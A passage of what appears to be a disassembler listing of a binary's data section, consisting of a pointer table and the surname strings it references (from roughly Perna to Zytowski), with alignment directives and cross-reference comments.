"Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" dd offset aTsukurov ; "Tsukurov" dd offset aTuck ; "Tuck" dd offset aTudge ; "Tudge" dd offset aTukan ; "Tukan" dd offset aTurano ; "Turano" dd offset aTurek ; "Turek" dd offset aTuttle ; "Tuttle" dd offset aTwells ; "Twells" dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" dd offset aUrban ; "Urban" dd offset aUrdangBrown ; "Urdang-Brown" dd offset aUsdan ; "Usdan" dd offset aUzuner ; "Uzuner" dd offset aVacca ; "Vacca" dd offset aWaite ; "Waite" dd offset aValberg ; "Valberg" dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" dd offset aVasquez ; "Vasquez" dd offset aWaugh ; "Waugh" dd offset aWeighart ; "Weighart" dd offset aWeingarten ; "Weingarten" dd offset aWeinhaus ; "Weinhaus" dd offset aWeissbourd ; "Weissbourd" dd offset aWeissman ; "Weissman" dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: .packed:0042FEC8o align 4 aZwiers db 'Zwiers',0 ; DATA XREF: .packed:0042FEC4o align 10h aZurn db 'Zurn',0 ; DATA XREF: .packed:0042FEC0o align 4 aZucconi db 'Zucconi',0 ; DATA XREF: .packed:0042FEBCo aZoldak db 'Zoldak',0 ; DATA XREF: .packed:0042FEB8o align 4 aZerbini db 'Zerbini',0 ; DATA XREF: .packed:0042FEB4o aZegans db 'Zegans',0 ; DATA XREF: .packed:0042FEB0o align 4 aZangwill db 'Zangwill',0 ; DATA XREF: .packed:0042FEACo align 4 aZahedi db 'Zahedi',0 ; DATA XREF: .packed:0042FEA8o align 4 aZachary db 'Zachary',0 ; DATA XREF: .packed:0042FEA4o aYu db 'Yu',0 ; DATA XREF: .packed:0042FEA0o align 4 aYoukSee db 'Youk-See',0 ; DATA XREF: .packed:0042FE9Co align 4 aYoo db 'Yoo',0 ; DATA XREF: .packed:0042FE98o aYoffe db 'Yoffe',0 ; DATA XREF: .packed:0042FE94o align 10h aYetiv db 'Yetiv',0 ; DATA XREF: .packed:0042FE90o align 4 aYesson db 'Yesson',0 ; DATA XREF: .packed:0042FE8Co align 10h aYedidia db 'Yedidia',0 ; DATA XREF: .packed:0042FE88o aYbarra db 'Ybarra',0 ; DATA XREF: .packed:0042FE84o align 10h aYates db 'Yates',0 ; DATA XREF: .packed:0042FE80o align 4 aYarchuk db 'Yarchuk',0 ; DATA XREF: .packed:0042FE7Co aYankee db 'Yankee',0 ; DATA XREF: .packed:0042FE78o align 4 aYamane db 'Yamane',0 ; DATA XREF: .packed:0042FE74o align 10h aYacono db 'Yacono',0 ; DATA XREF: .packed:0042FE70o align 4 aVotey db 'Votey',0 ; DATA XREF: .packed:0042FE6Co align 10h aVorhaus db 'Vorhaus',0 ; DATA XREF: .packed:0042FE68o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: .packed:0042FE64o align 4 aWoods db 'Woods',0 ; DATA XREF: .packed:0042FE60o align 10h aWooden db 'Wooden',0 ; DATA XREF: .packed:0042FE5Co align 4 aWoo db 'Woo',0 ; DATA XREF: .packed:0042FE58o aVonhoffman db 'VonHoffman',0 ; DATA XREF: .packed:0042FE54o align 4 aWolk db 'Wolk',0 ; DATA XREF: .packed:0042FE50o align 10h aVoigt db 'Voigt',0 ; DATA XREF: .packed:0042FE4Co align 4 aViviani db 'Viviani',0 ; DATA XREF: .packed:0042FE48o aVitali db 'Vitali',0 ; DATA XREF: .packed:0042FE44o align 4 aWilson db 'Wilson',0 ; DATA XREF: .packed:0042FE40o align 10h aWillstatter db 'Willstatter',0 ; DATA XREF: .packed:0042FE3Co aVillarreal db 'Villarreal',0 ; DATA XREF: .packed:0042FE38o align 4 aWilkinson db 'Wilkinson',0 ; DATA XREF: .packed:0042FE34o align 4 aWilkin db 'Wilkin',0 ; DATA XREF: .packed:0042FE30o align 4 aWilk db 'Wilk',0 ; DATA XREF: .packed:0042FE2Co align 4 aWilhelm db 'Wilhelm',0 ; DATA XREF: .packed:0042FE28o aWilder db 'Wilder',0 ; DATA XREF: .packed:0042FE24o align 4 aVignola db 'Vignola',0 ; DATA XREF: .packed:0042FE20o aViens db 'Viens',0 ; DATA XREF: .packed:0042FE1Co align 4 aWiener db 'Wiener',0 ; DATA XREF: .packed:0042FE18o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: .packed:0042FE14o aViano db 'Viano',0 ; DATA XREF: .packed:0042FE10o align 10h aViana db 'Viana',0 ; DATA XREF: .packed:0042FE0Co align 4 aWhittaker db 'Whittaker',0 ; DATA XREF: .packed:0042FE08o align 4 aWhitla db 'Whitla',0 ; DATA XREF: .packed:0042FE04o align 4 aWhite db 'White',0 ; DATA XREF: .packed:0042FE00o align 4 aWhilton db 'Whilton',0 ; DATA XREF: .packed:0042FDFCo aWhately db 'Whately',0 ; DATA XREF: .packed:0042FDF8o aWetzel db 'Wetzel',0 ; DATA XREF: .packed:0042FDF4o align 4 aWescott db 'Wescott',0 ; DATA XREF: .packed:0042FDF0o aVerghese db 'Verghese',0 ; DATA XREF: .packed:0042FDECo align 10h aVenne db 'Venne',0 ; DATA XREF: .packed:0042FDE8o align 4 aWengret db 'Wengret',0 ; DATA XREF: .packed:0042FDE4o aWelsh db 'Welsh',0 ; DATA XREF: .packed:0042FDE0o align 4 aWelles db 'Welles',0 ; DATA XREF: .packed:0042FDDCo align 10h aVelasquez db 'Velasquez',0 ; DATA XREF: .packed:0042FDD8o align 4 aWeissman db 'Weissman',0 ; DATA XREF: .packed:0042FDD4o align 4 aWeissbourd db 'Weissbourd',0 ; DATA XREF: .packed:0042FDD0o align 4 aWeinhaus db 'Weinhaus',0 ; DATA XREF: .packed:0042FDCCo align 10h aWeingarten db 'Weingarten',0 ; DATA XREF: .packed:0042FDC8o align 4 aWeighart db 'Weighart',0 ; DATA XREF: .packed:0042FDC4o align 4 aWaugh db 'Waugh',0 ; DATA XREF: .packed:0042FDC0o align 10h aVasquez db 'Vasquez',0 ; DATA XREF: .packed:0042FDBCo aWasowska db 'Wasowska',0 ; DATA XREF: .packed:0042FDB8o align 4 aWarshafsky db 'Warshafsky',0 ; DATA XREF: .packed:0042FDB4o align 10h aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: .packed:0042FDB0o align 10h aVandenberg db 'Vandenberg',0 ; DATA XREF: .packed:0042FDACo align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: .packed:0042FDA8o aVanallen db 'vanAllen',0 ; DATA XREF: .packed:0042FDA4o align 10h aWalter db 'Walter',0 ; DATA XREF: .packed:0042FDA0o align 4 aWallenberg db 'Wallenberg',0 ; DATA XREF: .packed:0042FD9Co align 4 aWales db 'Wales',0 ; DATA XREF: .packed:0042FD98o align 4 aValencia db 'Valencia',0 ; DATA XREF: .packed:0042FD94o align 4 aValberg db 'Valberg',0 ; DATA XREF: .packed:0042FD90o aWaite db 'Waite',0 ; DATA XREF: .packed:0042FD8Co align 4 aVacca db 'Vacca',0 ; DATA XREF: .packed:0042FD88o align 10h aUzuner db 'Uzuner',0 ; DATA XREF: .packed:0042FD84o align 4 aUsdan db 'Usdan',0 ; DATA XREF: .packed:0042FD80o align 10h aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: .packed:0042FD7Co align 10h aUrban db 'Urban',0 ; DATA XREF: .packed:0042FD78o align 4 aUpsdell db 'Upsdell',0 ; DATA XREF: .packed:0042FD74o aUntermeyer db 'Untermeyer',0 ; DATA XREF: .packed:0042FD70o align 4 aUllman db 'Ullman',0 ; DATA XREF: .packed:0042FD6Co align 4 aTzamarias db 'Tzamarias',0 ; DATA XREF: .packed:0042FD68o align 10h aTwells db 'Twells',0 ; DATA XREF: .packed:0042FD64o align 4 aTuttle db 'Tuttle',0 ; DATA XREF: .packed:0042FD60o align 10h aTurek db 'Turek',0 ; DATA XREF: .packed:0042FD5Co align 4 aTurano db 'Turano',0 ; DATA XREF: .packed:0042FD58o align 10h aTukan db 'Tukan',0 ; DATA XREF: .packed:0042FD54o align 4 aTudge db 'Tudge',0 ; DATA XREF: .packed:0042FD50o align 10h aTuck db 'Tuck',0 ; DATA XREF: .packed:0042FD4Co align 4 aTsukurov db 'Tsukurov',0 ; DATA XREF: .packed:0042FD48o align 4 aTsomides db 'Tsomides',0 ; DATA XREF: .packed:0042FD44o align 10h aTsiatis db 'Tsiatis',0 ; DATA XREF: .packed:0042FD40o aTruss db 'Truss',0 ; DATA XREF: .packed:0042FD3Co align 10h aTroy db 'Troy',0 ; DATA XREF: .packed:0042FD38o align 4 aTroiani db 'Troiani',0 ; DATA XREF: .packed:0042FD34o aTringali db 'Tringali',0 ; DATA XREF: .packed:0042FD30o align 4 aTrewin db 'Trewin',0 ; DATA XREF: .packed:0042FD2Co align 4 aTrenga db 'Trenga',0 ; DATA XREF: .packed:0042FD28o align 4 aTraebert db 'Traebert',0 ; DATA XREF: .packed:0042FD24o align 4 aToye db 'Toye',0 ; DATA XREF: .packed:0042FD20o align 10h aTowler db 'Towler',0 ; DATA XREF: .packed:0042FD1Co align 4 aTorske db 'Torske',0 ; DATA XREF: .packed:0042FD18o align 10h aTorresi db 'Torresi',0 ; DATA XREF: .packed:0042FD14o aTopulos db 'Topulos',0 ; DATA XREF: .packed:0042FD10o aToomer db 'Toomer',0 ; DATA XREF: .packed:0042FD0Co align 4 aTomford db 'Tomford',0 ; DATA XREF: .packed:0042FD08o aTolman db 'Tolman',0 ; DATA XREF: .packed:0042FD04o align 4 aTolls db 'Tolls',0 ; DATA XREF: .packed:0042FD00o align 10h aTollestrup db 'Tollestrup',0 ; DATA XREF: .packed:0042FCFCo align 4 aTofallis db 'Tofallis',0 ; DATA XREF: .packed:0042FCF8o align 4 aTimmons db 'Timmons',0 ; DATA XREF: .packed:0042FCF4o aTill db 'Till',0 ; DATA XREF: .packed:0042FCF0o align 4 aTierney db 'Tierney',0 ; DATA XREF: .packed:0042FCECo aThroop db 'Throop',0 ; DATA XREF: .packed:0042FCE8o align 4 aThomsen db 'Thomsen',0 ; DATA XREF: .packed:0042FCE4o aThisted db 'Thisted',0 ; DATA XREF: .packed:0042FCE0o aThibault db 'Thibault',0 ; DATA XREF: .packed:0042FCDCo align 4 aTheodos db 'Theodos',0 ; DATA XREF: .packed:0042FCD8o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: .packed:0042FCD4o align 4 aThan db 'Than',0 ; DATA XREF: .packed:0042FCD0o align 4 aTerracini db 'Terracini',0 ; DATA XREF: .packed:0042FCCCo align 10h aTenney db 'Tenney',0 ; DATA XREF: .packed:0042FCC8o align 4 aTemmer db 'Temmer',0 ; DATA XREF: .packed:0042FCC4o align 10h aTemes db 'Temes',0 ; DATA XREF: .packed:0042FCC0o align 4 aTeague db 'Teague',0 ; DATA XREF: .packed:0042FCBCo align 10h aTcherepnin db 'Tcherepnin',0 ; DATA XREF: .packed:0042FCB8o align 4 aTawn db 'Tawn',0 ; DATA XREF: .packed:0042FCB4o align 4 aTaveras db 'Taveras',0 ; DATA XREF: .packed:0042FCB0o aTatar db 'Tatar',0 ; DATA XREF: .packed:0042FCACo align 4 aTanowitz db 'Tanowitz',0 ; DATA XREF: .packed:0042FCA8o align 10h aTandler db 'Tandler',0 ; DATA XREF: .packed:0042FCA4o aTambiah db 'Tambiah',0 ; DATA XREF: .packed:0042FCA0o aTalaugon db 'Talaugon',0 ; DATA XREF: .packed:0042FC9Co align 4 aTai db 'Tai',0 ; DATA XREF: .packed:0042FC98o aTagiuri db 'Tagiuri',0 ; DATA XREF: .packed:0042FC94o aSwindle db 'Swindle',0 ; DATA XREF: .packed:0042FC90o aSweetser db 'Sweetser',0 ; DATA XREF: .packed:0042FC8Co align 4 aSweeting db 'Sweeting',0 ; DATA XREF: .packed:0042FC88o align 4 aSurdam db 'Surdam',0 ; DATA XREF: .packed:0042FC84o align 10h aSuo db 'Suo',0 ; DATA XREF: .packed:0042FC80o aSumner db 'Sumner',0 ; DATA XREF: .packed:0042FC7Co align 4 aSullivan db 'Sullivan',0 ; DATA XREF: .packed:0042FC78o align 4 aStringer db 'Stringer',0 ; DATA XREF: .packed:0042FC74o align 4 aStreiff db 'Streiff',0 ; DATA XREF: .packed:0042FC70o aStrauch db 'Strauch',0 ; DATA XREF: .packed:0042FC6Co aStrange db 'Strange',0 ; DATA XREF: .packed:0042FC68o aStott db 'Stott',0 ; DATA XREF: .packed:0042FC64o align 4 aStorer db 'Storer',0 ; DATA XREF: .packed:0042FC60o align 4 aStonich db 'Stonich',0 ; DATA XREF: .packed:0042FC5Co aStolzenberg db 'Stolzenberg',0 ; DATA XREF: .packed:0042FC58o aStockwell db 'Stockwell',0 ; DATA XREF: .packed:0042FC54o align 4 aStockton db 'Stockton',0 ; DATA XREF: .packed:0042FC50o align 4 aStock db 'Stock',0 ; DATA XREF: .packed:0042FC4Co align 10h aStillwell db 'Stillwell',0 ; DATA XREF: .packed:0042FC48o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: .packed:0042FC44o align 4 aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: .packed:0042FC40o align 4 aStepniewska db 'Stepniewska',0 ; DATA XREF: .packed:0042FC3Co aStephanian db 'Stephanian',0 ; DATA XREF: .packed:0042FC38o align 10h aSteiner db 'Steiner',0 ; DATA XREF: .packed:0042FC34o aStefani db 'Stefani',0 ; DATA XREF: .packed:0042FC30o aStatlender db 'Statlender',0 ; DATA XREF: .packed:0042FC2Co align 4 aStates db 'States',0 ; DATA XREF: .packed:0042FC28o align 4 aStassinopolus db 'Stassinopolus',0 ; DATA XREF: .packed:0042FC24o align 4 aStang db 'Stang',0 ; DATA XREF: .packed:0042FC20o align 4 aStam db 'Stam',0 ; DATA XREF: .packed:0042FC1Co align 4 aStalvey db 'Stalvey',0 ; DATA XREF: .packed:0042FC18o aStmartin db 'StMartin',0 ; DATA XREF: .packed:0042FC14o align 4 aSpinrad db 'Spinrad',0 ; DATA XREF: .packed:0042FC10o aSpiliotis db 'Spiliotis',0 ; DATA XREF: .packed:0042FC0Co align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: .packed:0042FC08o align 4 aSpicer db 'Spicer',0 ; DATA XREF: .packed:0042FC04o align 4 aSperber db 'Sperber',0 ; DATA XREF: .packed:0042FC00o aSpence db 'Spence',0 ; DATA XREF: .packed:0042FBFCo align 4 aSpeizer db 'Speizer',0 ; DATA XREF: .packed:0042FBF8o aSpaulding db 'Spaulding',0 ; DATA XREF: .packed:0042FBF4o align 4 aSparrow db 'Sparrow',0 ; DATA XREF: .packed:0042FBF0o aSpanier db 'Spanier',0 ; DATA XREF: .packed:0042FBECo aSoultanian db 'Soultanian',0 ; DATA XREF: .packed:0042FBE8o align 4 aSoule db 'Soule',0 ; DATA XREF: .packed:0042FBE4o align 4 aSoukup db 'Soukup',0 ; DATA XREF: .packed:0042FBE0o align 4 aSottak db 'Sottak',0 ; DATA XREF: .packed:0042FBDCo align 4 aSorg db 'Sorg',0 ; DATA XREF: .packed:0042FBD8o align 4 aSorabella db 'Sorabella',0 ; DATA XREF: .packed:0042FBD4o align 10h aSommariva db 'Sommariva',0 ; DATA XREF: .packed:0042FBD0o align 4 aSomers db 'Somers',0 ; DATA XREF: .packed:0042FBCCo align 4 aSolon db 'Solon',0 ; DATA XREF: .packed:0042FBC8o align 4 aSocolow db 'Socolow',0 ; DATA XREF: .packed:0042FBC4o aSnodgrass db 'Snodgrass',0 ; DATA XREF: .packed:0042FBC0o align 10h aSniffen db 'Sniffen',0 ; DATA XREF: .packed:0042FBBCo aSmilow db 'Smilow',0 ; DATA XREF: .packed:0042FBB8o align 10h aSlowe db 'Slowe',0 ; DATA XREF: .packed:0042FBB4o align 4 aSloan db 'Sloan',0 ; DATA XREF: .packed:0042FBB0o align 10h aSkoda db 'Skoda',0 ; DATA XREF: .packed:0042FBACo align 4 aSkerry db 'Skerry',0 ; DATA XREF: .packed:0042FBA8o align 10h aSkane db 'Skane',0 ; DATA XREF: .packed:0042FBA4o align 4 aSites db 'Sites',0 ; DATA XREF: .packed:0042FBA0o align 10h aSirilli db 'Sirilli',0 ; DATA XREF: .packed:0042FB9Co aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: .packed:0042FB98o align 4 aSilvetti db 'Silvetti',0 ; DATA XREF: .packed:0042FB94o align 10h aSilverman db 'Silverman',0 ; DATA XREF: .packed:0042FB90o align 4 aSigna db 'Signa',0 ; DATA XREF: .packed:0042FB8Co align 4 aSigini db 'Sigini',0 ; DATA XREF: .packed:0042FB88o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: .packed:0042FB84o aSiesto db 'Siesto',0 ; DATA XREF: .packed:0042FB80o align 4 aShimon db 'Shimon',0 ; DATA XREF: .packed:0042FB7Co align 4 aShibata db 'Shibata',0 ; DATA XREF: .packed:0042FB78o aShia db 'Shia',0 ; DATA XREF: .packed:0042FB74o align 4 aShesko db 'Shesko',0 ; DATA XREF: .packed:0042FB70o align 4 aShepstone db 'Shepstone',0 ; DATA XREF: .packed:0042FB6Co align 4 aSheppard db 'Sheppard',0 ; DATA XREF: .packed:0042FB68o align 4 aShepherd db 'Shepherd',0 ; DATA XREF: .packed:0042FB64o align 10h aSheats db 'Sheats',0 ; DATA XREF: .packed:0042FB60o align 4 aShea db 'Shea',0 ; DATA XREF: .packed:0042FB5Co align 10h aShavelson db 'Shavelson',0 ; DATA XREF: .packed:0042FB58o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: .packed:0042FB54o aShar db 'Shar',0 ; DATA XREF: .packed:0042FB50o align 4 aShanley db 'Shanley',0 ; DATA XREF: .packed:0042FB4Co aShankland db 'Shankland',0 ; DATA XREF: .packed:0042FB48o align 10h aShakis db 'Shakis',0 ; DATA XREF: .packed:0042FB44o align 4 aShaikh db 'Shaikh',0 ; DATA XREF: .packed:0042FB40o align 10h aSeyfert db 'Seyfert',0 ; DATA XREF: .packed:0042FB3Co aSexton db 'Sexton',0 ; DATA XREF: .packed:0042FB38o align 10h aSeterdahl db 'Seterdahl',0 ; DATA XREF: .packed:0042FB34o align 4 aSennett db 'Sennett',0 ; DATA XREF: .packed:0042FB30o aSen db 'Sen',0 ; DATA XREF: .packed:0042FB2Co aSelvage db 'Selvage',0 ; DATA XREF: .packed:0042FB28o aSekler db 'Sekler',0 ; DATA XREF: .packed:0042FB24o align 4 aSegal db 'Segal',0 ; DATA XREF: .packed:0042FB20o align 10h aSeeber db 'Seeber',0 ; DATA XREF: .packed:0042FB1Co align 4 aSeaton db 'Seaton',0 ; DATA XREF: .packed:0042FB18o align 10h aScudder db 'Scudder',0 ; DATA XREF: .packed:0042FB14o aScovel db 'Scovel',0 ; DATA XREF: .packed:0042FB10o align 10h aSchwickrath db 'Schwickrath',0 ; DATA XREF: .packed:0042FB0Co aSchwan db 'Schwan',0 ; DATA XREF: .packed:0042FB08o align 4 aSchuyler db 'Schuyler',0 ; DATA XREF: .packed:0042FB04o align 10h aSchutte db 'Schutte',0 ; DATA XREF: .packed:0042FB00o aSchuman db 'Schuman',0 ; DATA XREF: .packed:0042FAFCo aSchossberger db 'Schossberger',0 ; DATA XREF: .packed:0042FAF8o align 10h aSchmitt db 'Schmitt',0 ; DATA XREF: .packed:0042FAF4o aSchilling db 'Schilling',0 ; DATA XREF: .packed:0042FAF0o align 4 aSchifini db 'Schifini',0 ; DATA XREF: .packed:0042FAECo align 10h aSchiano db 'Schiano',0 ; DATA XREF: .packed:0042FAE8o aScheiner db 'Scheiner',0 ; DATA XREF: .packed:0042FAE4o align 4 aScharlemann db 'Scharlemann',0 ; DATA XREF: .packed:0042FAE0o aScharf db 'Scharf',0 ; DATA XREF: .packed:0042FADCo align 4 aScepan db 'Scepan',0 ; DATA XREF: .packed:0042FAD8o align 10h aScarponi db 'Scarponi',0 ; DATA XREF: .packed:0042FAD4o align 4 aSayied db 'Sayied',0 ; DATA XREF: .packed:0042FAD0o align 4 aSawtell db 'Sawtell',0 ; DATA XREF: .packed:0042FACCo aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: .packed:0042FAC8o align 4 aSatta db 'Satta',0 ; DATA XREF: .packed:0042FAC4o align 4 aSatin db 'Satin',0 ; DATA XREF: .packed:0042FAC0o align 4 aSase db 'Sase',0 ; DATA XREF: .packed:0042FABCo align 4 aSartore db 'Sartore',0 ; DATA XREF: .packed:0042FAB8o aSarin db 'Sarin',0 ; DATA XREF: .packed:0042FAB4o align 4 aSapers db 'Sapers',0 ; DATA XREF: .packed:0042FAB0o align 4 aSanna db 'Sanna',0 ; DATA XREF: .packed:0042FAACo align 4 aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: .packed:0042FAA8o aSamson db 'Samson',0 ; DATA XREF: .packed:0042FAA4o align 4 aSali db 'Sali',0 ; DATA XREF: .packed:0042FAA0o align 4 aSahu db 'Sahu',0 ; DATA XREF: .packed:0042FA9Co align 4 aSafire db 'Safire',0 ; DATA XREF: .packed:0042FA98o align 4 aSadler db 'Sadler',0 ; DATA XREF: .packed:0042FA94o align 4 aSabatello db 'Sabatello',0 ; DATA XREF: .packed:0042FA90o align 4 aRyu db 'Ryu',0 ; DATA XREF: .packed:0042FA8Co aRush db 'Rush',0 ; DATA XREF: .packed:0042FA88o align 4 aRuescher db 'Ruescher',0 ; DATA XREF: .packed:0042FA84o align 10h aRuderman db 'Ruderman',0 ; DATA XREF: .packed:0042FA80o align 4 aRuan db 'Ruan',0 ; DATA XREF: .packed:0042FA7Co align 4 aRu db 'Ru',0 ; DATA XREF: .packed:0042FA78o align 4 aRoyal db 'Royal',0 ; DATA XREF: .packed:0042FA74o align 10h aRow db 'Row',0 ; DATA XREF: .packed:0042FA70o aRonen db 'Ronen',0 ; DATA XREF: .packed:0042FA6Co align 4 aRogers db 'Rogers',0 ; DATA XREF: .packed:0042FA68o align 4 aRoesler db 'Roesler',0 ; DATA XREF: .packed:0042FA64o aRocha db 'Rocha',0 ; DATA XREF: .packed:0042FA60o align 4 aRobinson db 'Robinson',0 ; DATA XREF: .packed:0042FA5Co align 10h aRivera db 'Rivera',0 ; DATA XREF: .packed:0042FA58o align 4 aRish db 'Rish',0 ; DATA XREF: .packed:0042FA54o align 10h aRineer db 'Rineer',0 ; DATA XREF: .packed:0042FA50o align 4 aRindos db 'Rindos',0 ; DATA XREF: .packed:0042FA4Co align 10h aRielly db 'Rielly',0 ; DATA XREF: .packed:0042FA48o align 4 aRichmond db 'Richmond',0 ; DATA XREF: .packed:0042FA44o align 4 aRhea db 'Rhea',0 ; DATA XREF: .packed:0042FA40o align 4 aResnik db 'Resnik',0 ; DATA XREF: .packed:0042FA3Co align 4 aRepetto db 'Repetto',0 ; DATA XREF: .packed:0042FA38o aRenick db 'Renick',0 ; DATA XREF: .packed:0042FA34o align 4 aRemak db 'Remak',0 ; DATA XREF: .packed:0042FA30o align 4 aReinold db 'Reinold',0 ; DATA XREF: .packed:0042FA2Co aCunningham db 'Cunningham',0 ; DATA XREF: .packed:0042FA28o align 10h aReedquist db 'Reedquist',0 ; DATA XREF: .packed:0042FA24o align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: .packed:0042FA20o align 4 aRayport db 'Rayport',0 ; DATA XREF: .packed:0042FA1Co aRapple db 'Rapple',0 ; DATA XREF: .packed:0042FA18o align 4 aRankin db 'Rankin',0 ; DATA XREF: .packed:0042FA14o align 4 aRangan db 'Rangan',0 ; DATA XREF: .packed:0042FA10o align 4 aRaney db 'Raney',0 ; DATA XREF: .packed:0042FA0Co align 4 aRajagopalan db 'Rajagopalan',0 ; DATA XREF: .packed:0042FA08o aRadeke db 'Radeke',0 ; DATA XREF: .packed:0042FA04o align 4 aRabkin db 'Rabkin',0 ; DATA XREF: .packed:0042FA00o align 10h aRabe db 'Rabe',0 ; DATA XREF: .packed:0042F9FCo align 4 aQuetin db 'Quetin',0 ; DATA XREF: .packed:0042F9F8o align 10h aQuaday db 'Quaday',0 ; DATA XREF: .packed:0042F9F4o align 4 aPynchon db 'Pynchon',0 ; DATA XREF: .packed:0042F9F0o aPugh db 'Pugh',0 ; DATA XREF: .packed:0042F9ECo align 4 aPuccia db 'Puccia',0 ; DATA XREF: .packed:0042F9E8o align 10h aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: .packed:0042F9E4o align 10h aProietti db 'Proietti',0 ; DATA XREF: .packed:0042F9E0o align 4 aPritz db 'Pritz',0 ; DATA XREF: .packed:0042F9DCo align 4 aPritchard db 'Pritchard',0 ; DATA XREF: .packed:0042F9D8o align 10h aPrevost db 'Prevost',0 ; DATA XREF: .packed:0042F9D4o aPreucel db 'Preucel',0 ; DATA XREF: .packed:0042F9D0o aPresper db 'Presper',0 ; DATA XREF: .packed:0042F9CCo aPowers db 'Powers',0 ; DATA XREF: .packed:0042F9C8o align 10h aPoolman db 'Poolman',0 ; DATA XREF: .packed:0042F9C4o aPoma db 'Poma',0 ; DATA XREF: .packed:0042F9C0o align 10h aPolitis db 'Politis',0 ; DATA XREF: .packed:0042F9BCo aPolanyi db 'Polanyi',0 ; DATA XREF: .packed:0042F9B8o aPolak db 'Polak',0 ; DATA XREF: .packed:0042F9B4o align 4 aPoirier db 'Poirier',0 ; DATA XREF: .packed:0042F9B0o aPointer db 'Pointer',0 ; DATA XREF: .packed:0042F9ACo aPoincaire db 'Poincaire',0 ; DATA XREF: .packed:0042F9A8o align 4 aPocobene db 'Pocobene',0 ; DATA XREF: .packed:0042F9A4o align 10h aPo db 'Po',0 ; DATA XREF: .packed:0042F9A0o align 4 aPlous db 'Plous',0 ; DATA XREF: .packed:0042F99Co align 4 aPlasket db 'Plasket',0 ; DATA XREF: .packed:0042F998o aPlant db 'Plant',0 ; DATA XREF: .packed:0042F994o align 4 aPlancon db 'Plancon',0 ; DATA XREF: .packed:0042F990o aPinot db 'Pinot',0 ; DATA XREF: .packed:0042F98Co align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: .packed:0042F988o aPfister db 'Pfister',0 ; DATA XREF: .packed:0042F984o aPettit db 'Pettit',0 ; DATA XREF: .packed:0042F980o align 4 aPettibone db 'Pettibone',0 ; DATA XREF: .packed:0042F97Co align 10h aPetruzello db 'Petruzello',0 ; DATA XREF: .packed:0042F978o align 4 aPeters db 'Peters',0 ; DATA XREF: .packed:0042F974o align 4 aPerrimon db 'Perrimon',0 ; DATA XREF: .packed:0042F970o align 10h aPerone db 'Perone',0 ; DATA XREF: .packed:0042F96Co align 4 aPerna db 'Perna',0 ; 